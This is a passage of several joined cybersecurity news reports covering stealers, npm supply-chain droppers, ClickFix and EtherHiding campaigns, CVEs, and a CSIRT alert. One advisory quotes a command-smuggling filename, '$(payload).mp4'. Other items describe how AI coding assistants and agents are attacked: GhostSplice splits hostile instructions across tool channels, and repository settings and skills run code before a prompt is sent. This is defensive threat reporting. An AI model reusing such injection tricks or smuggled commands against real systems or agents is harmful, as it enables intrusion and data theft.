ClickFix attacks. The malware, besides stealing data from 16 Chromium-based web browsers as well as other sensitive information, such as passwords, cryptocurrency wallets, Apple Notes, documents, and iCloud Keychain data, includes a streaming module that allows the attacker to interactively control the victim's web browser. One notable aspect of the stealer is its ability to copy the victim's Chromium profile, including its authentication state, and load it into a headless browser on the infected system to access the authenticated sessions. The streaming module can duplicate user profiles in Chromium-based browsers, including Google Chrome, Microsoft Edge, Vivaldi, Arc, Opera, and Brave, and establish a WebSocket channel that connects to the operator's relay and receives commands, such as navigation and mouse clicks. The remote-control component is built using the Chrome DevTools Protocol (CDP). A second WebSocket channel connects to the local headless Chromium instance. "The operator receives a live screencast of the session at around 3fps and can drive it with a full input set: keyboard, mouse, scroll, navigation and tab management," Jamf said. "In effect, the remote_stream command turns an infected host into a live, operator-driven browser running the victim's authenticated sessions, which is a materially different level of access from file collection." Amnesia Stealer is the first documented macOS malware to combine a cloned Chromium profile with CDP-based, real-time remote control to allow interactive access. From GhostCommit to GhostSplice — A new attack technique called GhostSplice can sidestep guardrails built around AI coding assistants and parse malicious requests that are split and hidden in a different channel, such as an MCP tool description, a tool result, and a sampling message. Each of these requests is perfectly benign on its own and processed by the assistant without refusing them. "The entire attack rests on the following fact: All three of the tool channels discussed above, together with your files and your own chat, pour into one block of the assistant's memory," ASSET Group said. "There does not exist any marking that separates the content based on its respective source. Therefore, the assistant reads it all as a single page." The attack has been described as a case of cross-channel trust fragmentation. "Due to the absence of a wall between content received from different sources (e.g., different tool channels), the attacker never needs any single one of this content to look dangerous. Instead, the idea is to embed a harmless piece in each source, and the assistant stitches them back into one instruction." Using Chrome DevTools Protocol for Data Theft — New research from SpecterOps detailed a post-exploitation technique that allows Chromium's CDP protocol to be enabled inside a live Google Chrome or Microsoft Edge process on Windows with an end goal to steal cookies, saved data, and authenticated browser sessions provided an attacker already has code execution permissions on the compromised host. "Cookie protections like ABE and device-bound session cookies make it harder to steal and replay session material, but they do not remove the value of an authenticated browser to adversaries," SpecterOps said. "Once CDP is enabled inside a Chromium browser, an operator can use the browser context to sidestep those replay protections, access authenticated applications, and collect saved data. Enabling CDP is a reminder that the next evolution of cookie theft may not require stealing the cookie DB and ABE key at all." ️🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-68820 (Microsoft Windows), CVE-2026-58231 (SAP Commerce Cloud), CVE-2026-48362, CVE-2026-71398, CVE-2026-27302 (Adobe), CVE-2026-20349 (Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense), CVE-2026-53413, CVE-2026-53414, CVE-2026-53415 (Zoom), CVE-2026-65400 (Apple macOS), CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348 (ClamAV), CVE-2026-18412 (OpenCart), CVE-2026-66147, CVE-2026-66145 (SonicWall), CVE-2026-6726, CVE-2026-6727 (Trusted Platform Module 2.0 reference implementation), CVE-2026-26035, CVE-2026-70468, CVE-2026-70465 (Fortinet), CVE-2026-65640 (WordPress), CVE-2026-65321 (PyAthena), CVE-2026-43637 (Cornac), CVE-2026-63720 (datamodel-code-generator), an SQL injection vulnerability in GeoServer, and multiple vulnerabilities in WireShark.. 🎥 Cybersecurity Webinars How to Control the Open-Source Security Debt Created by AI Coding Tools → Learn how AI coding tools are expanding unvetted open-source use, accelerating vulnerability backlogs, and weakening existing governance. This webinar shows how to measure the resulting remediation debt, connect it to breach, audit, and productivity risks, and identify which governance models can contain it without slowing development. AI Can Build Exploits in Minutes. Can Your Security Team Keep Up? → AI is collapsing the time between vulnerability disclosure and attack. Advanced models can now uncover flaws, generate working exploits, and chain them into complete attack paths at machine speed. This webinar presents a practical framework for gaining the visibility, context, and response speed needed to investigate and stop threats before attackers pull ahead. 📰 Around the Cyber World Security Flaw in FileRun — VulnCheck disclosed details of CVE-2026-14863 (CVSS score: 8.7), a high-severity operating system command injection flaw in FileRun that could lead to remote code execution. "FileRun's thumbnail extractors build shell commands by pasting the uploaded file path into a double-quoted string and handing it to exec(), and the filename sanitizer lets $() through, so a file named $(payload).mp4 runs its payload the moment a thumbnail is generated," security researcher Valentin Lobstein said. "Any authenticated user with upload permission gets code execution; when a public file request weblink exists, so does anyone who knows its token, no account required." The issue, which affects versions up to and including 2026.2.0, has been fixed in 2026.2.1. ClickFix Leads to ACR stealer and GhostPipe — ThreatLocker disclosed an attempted ClickFix attack that employs embedded scripts, steganographic payload extraction, and obfuscation to deploy an advanced iteration of ACR stealer and a secondary payload dubbed GhostPipe. The ClickFix attack originated from a fake CAPTCHA prompt being served on a compromised domain, resulting in the execution of a PowerShell command that downloads an MP3 file, which is then executed using MSHTA to launch a VBScript that's responsible for running intermediate payloads designed to gather system information and extract from a remotely hosted JPG file a PowerShell script. The script serves as an in-memory module shellcode launcher to deploy ACR Stealer. The malware also contacts a C2 server to fetch secondary payloads, including a PowerShell script called GhostPipe. "This seemingly unknown script performs a proxy-based AiTM attack with the sole purpose of stealing Google logins," ThreatLocker said. "The methods used are comprehensive and inherently support relaying MFA to successfully capture credentials." Flaw in Citrix NetScaler — Citrix appears to have silently addressed a heap overflow vulnerability in NetScaler that can be exploited to achieve remote code execution. The issue was patched as part of updates released towards the end of June 2026. watchTowr said the vulnerability likely corresponds to CVE-2026-8452, which has been described as a memory overflow vulnerability that could lead to unpredictable or erroneous behavior and denial-of-service when the appliance is configured as a Gateway or an AAA virtual server. The vulnerability, per the threat intelligence company, can be turned into code execution to drop a PHP web shell that can survive the NetScaler packet engine being respawned, and ultimately execute commands with root privileges. Shortly after details of the flaw became public, Defused Cyber said it observed active in-the-wild exploitation efforts two calendar days later. Ethereum Malware Loader Goes After Portuguese-Speaking Users — Portuguese-speaking users are the target of a malware loader that uses the EtherHiding technique to dynamically locate attacker infrastructure and distribute additional payloads. "The multi-stage infection chain combines obfuscated JavaScript, Node.js, DLL side-loading, and a malicious Chromium browser extension capable of targeting Chrome and Microsoft Edge to collect cookies and web storage, capture screenshots, monitor browser activity, and receive remote commands," WatchGuard Threat Lab said. The Israel National Digital Agency (INDA), in its own analysis of EtherHiding, said the technique has been used as a delivery backend, a C2 channel, a victim database, and skimming infrastructure. In another interesting twist, attackers have been found to shift to the BNB Smart Chain testnet, essentially eliminating gas fees and making the whole operation free. "Because writes there are free, unlimited, and leave no financial trail, recent reporting has found malware command-and-control backends running entirely on a testnet," INDA said. Thousands of Exposed Fuel Gauges Dropped from the Internet — BitSight said it observed a dramatic drop in internet-exposed Automatic Tank Gauge (ATG) systems in the U.S., with the number declining by more than half. "From March to June, there was over a 55% drop in exposed IP addresses," it said. "Globally, exposure fell 49% from that same March peak, with the U.S. accounting for most of the decline. For ten months, from June 2025 through March 2026, the U.S. held a band of roughly 4,300 to 5,300 unique exposed IPs, averaging 4,815 across 2025. Then April fell 27.6% in a single month, May fell another 31.8%, and June continued down. By June, the exposed population was 56% below the March peak." Phantom Enigma Campaign Targets Brazil — An active PhantomEnigma campaign has been observed abusing compromised government infrastructure and fake police-themed documents to target banking and public-sector organizations in Brazil. The phishing messages are presented as official notices and bypass email security filters to deliver a modular Node.js backdoor that collects system data, sets up persistence, and connects to rotating C2 infrastructure. It can also execute JavaScript or deliver stealers, loaders, RMM software, and other malware. Some aspects of the activity overlap with prior reports from Positive Technologies. F.B.I. Agent Charged With Unauthorized Crypto Withdrawals — An F.B.I. counterintelligence agent has been charged with illicitly obtaining about $1 million worth of cryptocurrency, largely through unauthorized withdrawals from a criminal target overseas. According to The New York Times, the agent claimed he had begun taking the money in late 2024 or early 2025, and made 10 or 12 withdrawals altogether by making use of a seed phrase to the suspect's account that the F.B.I. had obtained during its investigation of the individual. Ukraine Dismantles Fraudulent Call Centers — Ukrainian authorities disrupted 94 fraudulent call centers during a nationwide operation that involved more than 400 searches and the seizure of thousands of computers, phones, and SIM cards. Per the Ukrainian police, the call centers were associated with schemes relating to callers impersonating bank employees, fraudulent investment services, cryptocurrency platforms, and attempts to gain remote access to victims' devices or trick them into handing over sensitive data under the guise of suspicious transactions. Some cybercriminals collected personal information about prospective victims and shared or sold those records to other operations. "Call centers were staffed by administrators, operators, and other participants in the schemes, and ready-made conversation scripts, databases of potential victims, special software, and tools for hiding and further withdrawing funds were used," the police said. During the probe, 3,336 pieces of computer equipment, 1,346 phones, over 5,200 SIM cards, 90 bank cards, access to 20 crypto wallets, and 22 cars were seized. About $2 million, €64,000, cash in hryvnias, a kilogram of bank gold in bars, and jewelry were also confiscated. North Carolina Man Sentenced for Cyber Extortion Scheme — Cameron Curry, 27, of Charlotte, North Carolina, was sentenced to 24 months in prison for carrying out an "extensive cyber extortion scheme" against an unnamed D.C.-based international technology company. In March 2026, Curry was convicted of six counts of transmitting or willfully causing interstate communications with the intent to extort a victim company. "Curry misused his position to access the victim company's personnel and other sensitive corporate records, which he then used to carry out the cyber extortion scheme," the U.S. Justice Department said. "Curry hatched his extortion scheme after he learned that his contract was not going to be renewed and that he would no longer be employed by the company." ExfilSquad's Access to Data from 13 Organizations — A new analysis of data samples published by the ExfilSquad data extortion group has confirmed "they have access to sensitive data." Fortra said the breaches were most likely limited to unauthorized access of D365 instances. "The leading theory on the initial attack vector that enabled exfiltration is misconfigured Microsoft Power Page portals that allowed for public read access," it said. "The observed leaked data formats are consistent with Microsoft Dataverse exports, suggesting unauthorized read access may have been achieved, and victims found by crawling for misconfigured Microsoft Power Portals or other enumeration techniques." OpenAI Rolls Out Computer History in ChatGPT — OpenAI replaced Chronicle, which builds memories from screen captures to make ChatGPT and Codex more aware of context, with Computer History. "Computer History turns your activity across apps and websites into memories and a timeline that ChatGPT and Codex can reference," OpenAI said. "You can ask natural questions about recent work, pick up where you left off, understand patterns in how you work, and turn repeated workflows into skills or automations." Computer History is off by default for ChatGPT Pro, Business, and Enterprise users in the ChatGPT desktop app on macOS. The feature is reminiscent of Microsoft's controversial Recall, which attracted scrutiny for relying on periodic screenshots to capture and index relevant information. Unlike Chronicle, which also used screenshots, Computer History relies on capturing interactions (e.g., clicks, typing, keyboard shortcuts, app switches, and context) to allow the AI to understand user workflows. "Computer History records interaction events and does not capture your screen or audio," OpenAI said. "You control which apps and websites contribute, can see and pause collection from the macOS menu bar, and can inspect or delete your history at any time." That said, it's worth emphasizing that Computer History files can contain sensitive information. "They are not encrypted by Computer History, and other programs running as your macOS user may be able to access them," OpenAI cautions. "Protect your Mac account and exclude sources you do not want included." OpenAI also warned that Computer History increases the risk of prompt injection from content in apps and websites, as the AI system can follow instructions when visiting a website containing malicious instructions. Temporary interaction event files are retained for up to 48 hours before they are deleted. However, they can be used to create memory files that can remain for extended periods of time until users explicitly delete or clear them. China-linked LightSpy Activity Detected in Over 13 Countries — The modular implant known as LightSpy has evolved into a broader surveillance tool that's in use in more than 13 countries and regions, including Singapore, Hong Kong, the Netherlands, Pakistan, Japan, China, Malaysia, Germany, the U.S., Thailand, Indonesia, South Korea, Austria and Turkey, Arctic Wolf Labs said. This includes previously unreported router-focused capabilities along with live router implants in Europe and Africa. "The findings expand the potential impact of the surveillance framework beyond individual devices: router access can provide visibility into every device connected to a home or office network and may persist after phones are replaced, devices are factory-reset, or operating systems are upgraded," a spokesperson for the company said. LightSpy infrastructure spans several countries, including 117 servers and 35 domains impersonating Asian electronics manufacturers and router-management services. Evidence indicates that LightSpy functions as a commercialized surveillance platform, with customer branding, billing functionality, and a demonstration environment used to market the framework to prospective buyers. The platform is assessed to be the work of a Chinese contractor after one of the operators used the LightSpy administrator's panel to place an order with KFC using their real name and office address. Trivy Supply Chain Attack Exposed 2,500+ Companies — A new analysis from SOCRadar has revealed that 95% of organizations impacted by the LiteLLM supply chain attack earlier this year were exposed before, coinciding with the compromise of the Trivy scanner. "Organizations did not need to install LiteLLM directly to be exposed," the cybersecurity company said. "The package could arrive through frameworks such as DSPy, MLflow, CrewAI, OpenHands, and Arize Phoenix, while its payload executed at Python startup without requiring a LiteLLM import." The incident was attributed to a threat actor known as TeamPCP. Massive Azure Exfiltration Campaign Exposes Millions of Enterprise Records — An active Microsoft Azure exfiltration campaign is being driven by a threat actor named "TheHatman," who has "flooded" cybercrime forums with enterprise employee databases. The data is said to have been downloaded directly from the organizations’ Azure/Entra portals using compromised credentials, although the exact intrusion vector remains unknown. The campaign impacts multiple global enterprises across IT services, hospitality, telecommunications, retail, and logistics. Some of them include McDonald's, TCS, Vodafone, HCL Technologies, Kyndryl, Gap, Hexaware, and Wyndham Hotels. "Judging by the massive size of the organizations impacted, it appears highly likely that this campaign originates from targeted exploitation of Infostealer infections rather than a systemic zero-day vulnerability in Azure," Hudson Rock said. Conclusion That’s the week. Some attacks needed a real exploit. Others just needed an exposed system, a stolen login, or one weak link buried in the stack. The useful part is knowing which kind you’re dealing with before it becomes your problem. Patch what matters, close what should not be public, and keep an eye on the boring stuff. It keeps winning.

ClickFix ed EtherHiding: nuova campagna malware utilizza smart contract sulla BNB Smart Chain Alert AL02/260810/CSIRT-ITA Sintesi Proseguono le campagne malware che sfruttano tecniche di ingegneria sociale per indurre gli utenti ad eseguire codice malevolo sui propri sistemi tramite la funzione “incolla”. Descrizione e potenziali impatti La campagna individuata dai ricercatori del team di Microsoft Threat Intelligence rappresenta un'evoluzione delle tecniche ClickFix e TerminalFix e si distingue per l'impiego della metodologia denominata EtherHiding, tecnica che sfrutta smart contract distribuiti sulla BNB Smart Chain per ospitare e distribuire istruzioni malevole. Nel dettaglio, gli attori malevoli, a seguito della preventiva compromissione di portali web legittimi, iniettano in questi del codice JavaScript offuscato e codificato in Base64 (Figura 1) che, una volta eseguito nel browser della vittima, interroga un gateway RPC della suddetta blockchain (Figura 2) per recuperare dinamicamente le istruzioni presenti nello smart contract, necessarie alle successive fasi dell'attacco. A differenza delle tradizionali infrastrutture malevole basate su server controllati dagli attaccanti, i contenuti memorizzati all'interno degli smart contract risultano particolarmente resilienti alle attività di contrasto, poiché possono essere modificati esclusivamente dal soggetto che controlla il wallet utilizzato per la loro distribuzione. Tale approccio rende meno efficaci le comuni attività di sinkholing e takedown dell'infrastruttura malevola. In caso di accesso a una risorsa compromessa, l'utente viene reindirizzato verso una falsa schermata CAPTCHA o una pagina di verifica fraudolenta (Figura 3) opportunamente predisposta per simulare controlli di sicurezza legittimi. L'obiettivo è persuadere la vittima a eseguire una sequenza di operazioni manuali sul proprio sistema operativo, trasformandola nel vettore esecutivo dell'attacco e riducendo significativamente la necessità di sfruttare vulnerabilità software specifiche. In una prima fase, la vittima viene invitata ad aprire la finestra "Esegui" di Windows utilizzando la combinazione di tasti Windows + R (tecnica ClickFix) oppure una sessione di Windows Terminal o PowerShell (tecnica TerminalFix). Successivamente, l'interfaccia fraudolenta istruisce l'utente a incollare il contenuto presente negli appunti utilizzando la combinazione CTRL + V e ad eseguirlo premendo il tasto Invio. Tale comando, opportunamente offuscato e spesso eseguito tramite strumenti legittimi del sistema operativo quali PowerShell, cmd.exe, mshta.exe, rundll32.exe, msiexec.exe, curl.exe, WMI, WebDAV o attività pianificate, consente il recupero e l'esecuzione di payload aggiuntivi, l'instaurazione di comunicazioni con infrastrutture controllate dagli attaccanti e la distribuzione di malware quali infostealer, RAT, loader e strumenti di gestione remota. Secondo quanto riportato da Microsoft Threat Intelligence, campagne di questo tipo interessano una moltitudine di utenze aziendali e consumer a livello globale. Una eventuale compromissione potrebbe, pertanto, consentire, ad un utente malintenzionato, la capacità di carpire credenziali e informazioni sensibili, ottenere persistenza sui sistemi interessati, effettuare movimenti laterali all'interno della rete, distribuire ulteriori codici malevoli e predisporre il terreno per successivi attacchi ransomware o compromissioni dell'infrastruttura di dominio. Azioni di mitigazione Gli utenti e le organizzazioni possono far fronte a questa tipologia di attacchi attivando le seguenti misure preventive: sensibilizzare periodicamente il personale sui rischi associati alle tecniche di ingegneria sociale e, in particolare, diffidare di CAPTCHA, messaggi di errore del browser, annunci pubblicitari o pagine web che richiedano l'esecuzione di comandi sul sistema locale; non copiare, incollare ed eseguire comandi provenienti da siti web, e-mail, messaggi o altre fonti non attendibili all'interno della finestra "Esegui", di Windows Terminal, PowerShell o del Prompt dei comandi; limitare, ove possibile, l'utilizzo degli strumenti a riga di comando e della finestra "Esegui" ai soli utenti e contesti operativi strettamente necessari; abilitare la registrazione avanzata delle attività PowerShell, inclusi i log relativi agli Script Block, al fine di agevolare l'identificazione di comportamenti anomali; implementare soluzioni di Application Control per limitare l'esecuzione di codice non autorizzato; monitorare l'esecuzione anomala di strumenti comunemente abusati nelle campagne ClickFix e TerminalFix, quali PowerShell, cmd.exe, mshta.exe, rundll32.exe e processi correlati; adottare e mantenere aggiornate soluzioni di protezione endpoint, web e di rete adeguate al rilevamento di attività malevole riconducibili a tali campagne. Azioni di risposta agli incidenti Qualora si riscontrino evidenze di avvenuta compromissione sui propri sistemi, si raccomanda agli utenti e alle organizzazioni di attuare le seguenti azioni: collezionare eventuali evidenze, quali processi/servizi in esecuzione su dispositivi target, log di rete e log di autenticazione considerati non convenzionali; porre in isolamento e/o offline gli host potenzialmente interessati dalla compromissione; ripristinare gli host compromessi ad un’immagine precedente consistente (dopo aver espletato le necessarie attività forensi); resettare gli account degli utenti interessati dalla compromissione; segnalare tempestivamente a questo CSIRT, tramite il portale https://segnalazioni.acn.gov.it/ l’evento occorso.

A cluster of nearly 800 malicious packages has been published to the npm registry as part of a new campaign designed to deliver cross-platform malware targeting Windows, Mac, and Linux systems. "These packages appear to use AI slop squatted, or randomly generated typo-squatting package names, but all of them deliver a powerful RAT and infostealer payload," OpenSourceMalware researcher Paul McCarty said. Unlike other npm-oriented software supply chain attacks that make use of lifecycle hooks like preinstall or postinstall to trigger the execution of malicious code, the newly identified packages come with a README that instructs developers to load them with require(), a built-in function to import modules, local files, and third-party packages. The attack leads to the execution of a downloader named WEL1DROPPER, which, when executed, identifies the host operating system and processor architecture and fetches a compatible payload from one of the three Cloudflare Workers hosts. The three Cloudflare Workers domains are listed below - oob-worker.cf103-070.workers[.]dev oob-worker.cf102-baf.workers[.]dev oob-worker.cf99-9b3.workers[.]dev If the HTTPS-based downloads fail, the malware switches to a platform-specific domain and uses DNS TXT records to obtain the next-stage from the domain "wel1[.]ru." The payload domain for each operating system and CPU architecture is as follows - Linux x64 - sdk.dl.wel1[.]ru Linux ARM64 - ext.dl.wel1[.]ru macOS - pkg.dl.wel1[.]ru Windows - net.dl.wel1[.]ru "The package first requests a TXT record from c. ," McCarty explained. "It parses the response as the number of payload chunks, accepting a value between 1 and 2,000. It then requests numbered TXT records. The returned strings are joined together and Base64-decoded into a binary buffer." In the final stage, the payload is written to a temporary folder and executed either using "/bin/sh" on Linux and macOS, or "cmd.exe" on Windows. Sonatype, which is also tracking the campaign under the moniker Flooding Dropper, said the final stage is launched as a detached process, with the Windows version taking steps to patch Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI) to interfere with monitoring, check for sandboxes and virtual environments, establish persistence through a Registry Run key and a scheduled task, and download an encrypted payload ("/pkg/update_win.exe") and run it. The macOS infection chain is similar, performing an identical set of actions to look for debuggers and analysis artifacts before retrieving a compatible payload ("/pkg/beacon_mac.bin") from a remote server. If this fails, it employs the aforementioned DNS TXT delivery, sets up persistence using a LaunchAgent, and then starts the executable in a detached process. The Linux sample, on the other hand, is an UPX-packed ELF binary that's configured to download auxiliary payloads from a Cloudflare Worker URL ("oob-worker[.]cf99-9b3.workers[.]dev"), ultimately leading to the deployment of Sliver, an open-source command-and-control (C2) framework. The packages have also been found to contain a file called "lib/telemetry.js" that implements a plausible-looking telemetry SDK but also contains the same downloader logic. "The package entry point does not import this file, and it contains no additional hard-coded infrastructure," OpenSourceMalware said. "The oversized telemetry implementation appears intended to add noise and make the malicious behavior look like native profiling or analytics functionality during a quick review." The presence of domains like "tcsbank[.]ru" and "cloudpayments[.]ru" in the macOS payload indicates that the campaign could be targeting Russian financial institutions and mobile payments. It's also suspected to be an evolution of a dependency confusion campaign codenamed Moika that was observed earlier this April and saw over 250 packages published to the npm registry to steal environment information and deliver an operating system-specific second-stage payload. The development comes as Palo Alto Networks Unit 42 documented multiple campaigns targeting npm and the Python Package Index (PyPI) repository - A set of 10 npm packages that download an obfuscated cryptocurrency stealer and a remote access trojan from an external server. "After installation, the packages export a 'getPlugin' function that constructs the URL from which the payload is downloaded as an obfuscated IIFE (Immediately Invoked Function Expression) JavaScript code embedded in a JSON object," Unit 42 said. "The payload implements a crypto stealer and Remote-Access Trojan (RAT) that allows the attacker to execute arbitrary commands on the infected host." A set of malicious packages across npm and PyPI representing multiple distinct threat actors that are capable of cloud credential exfiltration, delivering EtherHiding blockchain-based C2 droppers, Solana cryptocurrency wallet key theft via Telegram, .env file secret exfiltration, fake-CAPTCHA social engineering remote code execution, and Discord token theft and GitHub Actions CI/CD credential exfiltration. From Packages to Chrome Extensions Threat actors have also been observed using Google Chrome extensions marketed as game emulators, password managers, productivity tools, CSS inspectors, and markdown converters to turn the web browser into a web crawling proxy. The crawl commands are received remotely via a persistent WebSocket connection. "These extensions embed an identical commercial web bandwidth-sharing SDK that connects the user's browser to a 3rd party residential proxy network for web scraping operations," Unit 42 said, adding it crawls pages by injecting a hidden iframe into active browser tabs, converts page content to Markdown in the background, and sends it to a remote cloud backend. The cybersecurity company noted that some of these extensions disclose the practice in their Chrome Web Store descriptions and in the privacy policies on their SaaS websites. Once installed, the third-party SDK prompts users to opt-in to the service. "While the proxy and crawling features remain inactive if the user declines, some extensions frame this opt-in as necessary for uninterrupted service,'" Unit 42 said. "A notable example is InstaSkip (mdondgockboebafloibbhjofmoedmnnn), which embeds this SDK." Update OpenSourceMalware's co-founder Jenn Gile told The Hacker News that the WEL1DROPPER campaign has involved a total of 1,033 confirmed packages so far. "The velocity has definitely slowed down since last week," Gile added. "The Flooding Dropper threat actors are using account names that appear randomly generated, and individual accounts publish only a handful of packages," Sonatype said. "That prevents defenders from assuming that removing one prolific publisher will eliminate the broader operation." "It also creates a moderation problem for npm. Each account and package may need to be identified, reviewed, and removed independently while the attacker continues generating more." (The story was updated after publication on August 11, 2026, to include the latest developments.)

Gen Threat Labs followed two H1 2026 campaigns where attackers used legitimate accounts, browser settings and blockchain data as part of the attack path. The Gen Threat Report is a twice-yearly examination of the biggest cyber threats shaping the digital landscape, offering an in-depth look at the trends affecting consumers around the world. Gen's H1 2026 Threat Report has its share of headline numbers. Scams accounted for almost 46% of Gen threat detections in the first half of the year. Malvertising represented almost another 30%. Gen blocked 114.2 million e-shop scam attacks and 20.3 million tech support scam attacks during the same period. Those figures are useful, but they compress very different attacks into a handful of categories. A detection count does not show how the first lure became script execution, how the script became a browser or proxy change, or how a wallet address was replaced before the victim signed a transaction. Two H1 investigations are worth looking at in detail. In the first, a banking-malware campaign started with compromised corporate mailboxes and ended with proxy and browser manipulation. In the second, a cryptocurrency campaign used a Rust-based clipper and retrieved command-and-control infrastructure pointers from Binance Smart Chain. The payloads were different, but neither campaign depended on breaking the trusted system in front of the user. The banking campaign used a legitimate account to deliver the lure. The clipper let the blockchain record a valid transaction after changing the destination address locally. The business email really came from a business The banking campaign targeted users in Czechia, Slovakia, Poland and Lithuania. The lures looked like normal business emails: shipment notices, invoice-related messages and scanned document notifications. One simply told the recipient that a scanned copy of a shipment was attached. In several cases, the messages were sent from compromised corporate mailboxes. The email was not made to look like it came from a legitimate company. It came from a legitimate account that attackers had already taken over. SPF and DKIM can still pass when a message is sent through authorized infrastructure, while reputation systems may see a sender with a legitimate history. The attachment launched a JavaScript dropper. From there, the chain moved through PowerShell stages before reaching shellcode and banking functionality. The available indicators pointed towards GepyS. The malware modified proxy settings and installed a browser add-on, placing itself close to the victim's banking session. At a simplified level, the chain looked like this: compromised mailbox -> JavaScript dropper -> PowerShell stages -> shellcode loader -> proxy and browser manipulation. One stage-three payload used a 32-bit position-independent loader. Static analysis showed MMX and SSE junk instructions, jumps into the middle of instructions, and a decryption routine based on an LFSR-generated keystream followed by XOR. None of those techniques was new, but together they added enough friction to make a quick static pass less productive. Across the chain, the email only had to get the user to open the attachment. JavaScript and PowerShell handled the staging, the loader slowed analysis, and the proxy and browser changes moved the operation into the banking session. Comparable H1 campaigns used similar regional and operational patterns with different payloads. In Italy, fake invoice PDFs, including Booking.com-themed lures, led to Vercel-hosted scripts with per-victim JavaScript obfuscation, Blogspot-hosted PowerShell stages and XWorm. In Poland, invoice-themed phishing delivered a steganographic .NET loader that installed Remcos RAT. Gen Threat Labs analyzed H1 2026 activity across scams, malware, identity exposure, privacy and AI-driven threats. The full report includes telemetry, case studies and guidance on how attacks are moving through trusted workflows. Read the report The clipboard was the payment layer The second campaign abused a much smaller user interaction: copying and pasting a cryptocurrency address. The final payload was a Rust-compiled clipboard hijacker. It monitored copied content for wallet addresses across 21 blockchain types, including BTC, ETH and LTC. When the malware recognized a supported address, it replaced it with an attacker-controlled one. From the victim's point of view, the transaction could still look normal: copy an address, paste it into a wallet or exchange, and approve the payment. The blockchain was not compromised and the wallet's cryptography was not broken. The transaction itself was valid, but the destination had already been changed locally before signing. Wallet addresses are long, visually noisy strings and difficult for humans to verify. Many users check only the first and last few characters, giving attackers room to use replacement addresses that survive a quick glance. The command-and-control design added another layer. The malware used Binance Smart Chain as part of its C2 resolution through EtherHiding. It did not store the full backend on-chain. Instead, it read infrastructure pointers from data stored in a smart contract and used them to reach attacker-controlled infrastructure. The resolved domain, URL or IP address could be blocked, taken down or replaced. The smart-contract data remained publicly readable, useful as an investigative pivot and harder to remove through normal takedown processes. A simple network IoC list therefore aged quickly in this setup. The contract address, the method used to read its data, the returned value and the infrastructure reached afterwards belonged in the same investigation. Detection has to follow the sequence For the banking chain, sender authentication needs to be paired with post-delivery telemetry. An attachment launching JavaScript, PowerShell retrieving additional stages, shellcode execution, proxy changes and a new browser extension should be correlated as one sequence rather than handled as unrelated events. A sender's legitimate history should not lower the priority of that activity when the mailbox itself may be compromised. Where operationally possible, organizations can restrict script interpreters for users who do not need them, apply application-control policies to downloaded attachments and alert on unexpected proxy or browser-extension changes. Monitoring for mailbox takeover remains part of the same detection problem because the compromised account is also the delivery infrastructure. For the crypto campaign, defenders can monitor clipboard-modifying processes, wallet-address pattern matching and blockchain queries from applications that have no reason to make them. The smart-contract pointer and the infrastructure it resolves should be tracked together rather than treating the current C2 domain as the complete indicator set. Users making cryptocurrency payments should verify the full destination shown by the signing device or wallet immediately before approval. Address books or allowlists reduce repeated manual entry, while first-time or changed destinations deserve a full comparison rather than a check of only the opening and closing characters. In both campaigns, the first trust decision could look legitimate while the surrounding workflow had already been changed. Detection and verification need to cover the steps between the authenticated email, the copied value and the final action. Gen's H1 2026 Threat Report covers the broader picture across scams, malware, identity exposure, privacy and AI-driven attacks. Read the full report here: Gen H1 2026 Threat Report. Sponsored and written by Gen Digital.

Apparently, opening the thing is now enough. A repo can run before the first prompt, a package can hide among hundreds, and a harmless-looking PDF can finish the job. This week runs on cheap leverage: exposed servers, recycled bugs, poisoned agent instructions, remote-access tools dressed as support software, and trusted defaults doing attackers a favor. Nothing here is especially mystical. Just ordinary systems trusting slightly too much, slightly too early. The full list follows. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. China-linked telecom riskThe U.S. Congress's bipartisan Select Committee on China has published a 49-page report named "Stranger Pings," highlighting the threat of China-controlled infrastructure in the U.S. telecommunications backbone. The Committee said the Salt Typhoon campaign could have been facilitated via a residual footprint that leaves open the door to future cyber operations against the U.S.: Chinese (aka People's Republic of China or PRC) telecom firms operating in the U.S. do not act independently and keep trusted positions inside U.S. communications infrastructure that Chinese threat actors can potentially abuse to preserve access and hide activity. "One PRC telecommunication provider included an 'Acceptable Use' Policy in contracts with U.S. companies," the Committee said. "This prohibited the broadcasting of political news against state laws of the PRC, the broadcasting of information in violation of PRC state security laws, and the broadcasting of information in violation of the 'social order and social stability.'" ClickOnce phishing chainThe threat actor known as SideWinder has adopted a new multi-stage attack chain that abuses ClickOnce application files delivered via phishing PDF documents to deliver Rust-based backdoors. The implants can establish persistence via registry modification, collect host intelligence, and accept remote commands over external servers hosted on free serverless platforms such as Cloudflare Workers. npm supply chain attackAn active malicious package campaign, dubbed "Flooding Dropper," has disclosed a large-scale campaign involving 846 software components. "The attacker appears to be automating parts of the npm account and package creation process, combining terms such as bigops and bnpl with other words and recurring version patterns, such as releases in the 35.x.y range," Sonatype said. "When installed, the packages download and execute a second-stage payload, using multiple delivery methods to improve the attack's chances of success. The packages also contain slightly modified payloads. While syntactically different, for example using different URL functions and variable names, the packages all execute the same behavior. Those changes can reduce the effectiveness of detections that depend on exact signatures, even when the underlying behavior remains closely related." The packages deliver a first-stage JavaScript loader that identifies the host operating system and delivers a compatible Windows, Linux, or macOS payload from a randomized set of hard-coded remote hosts and runs it as a detached background process. On Windows, the downloaded binary is another loader that performs checks for sandboxed and virtual environments, patches Event Tracing for Windows and Antimalware Scan Interface functions, establishes persistence via a scheduled task, and downloads and executes an encrypted payload. Coding agent execution riskNew research from Datadog has found that "Trusting a repository in a coding agent can allow repository-controlled code to run before you send the first prompt," causing seemingly harmless tasks like cloning a repository to be an attack vector. "Codex MCP configuration and Claude Code project environment settings created automatic code-execution paths without a model response or shell-command approval," Datadog said. "Treat project trust like running code. Open unfamiliar repositories in disposable environments without sensitive credentials, even if a quick manual review looks clean." Earlier this May, Datadog also highlighted the risks associated with Claude Code skills. "Agentic skills package instructions and context for coding agents," it said. "They are useful for repeatable workflows, but they also create a path for attacker-controlled instructions to enter a trusted agent session. The important detail is not only that a malicious skill can ask an agent to do something dangerous. It is that dynamic context commands run before the model sees the skill at all. When that happens, model-level prompt injection defenses never get a chance to intervene." AI-powered cyber attackA 